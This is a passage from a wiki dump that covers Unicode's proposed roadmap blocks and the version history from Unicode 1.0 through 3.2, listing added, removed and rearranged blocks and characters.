* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>6y7qmvslooqt06gggnwhzfr84nhkevo</sha1>
    </revision>
    <revision>
      <id>4670523</id>
      <parentid>4670521</parentid>
      <timestamp>2026-09-17T00:54:17Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Unicode 4.1 */</comment>
      <origin>4670523</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="131348" sha1="4vi4b2yv4qosasq79z6esc477l2b2t5" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from ''Hebrew''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
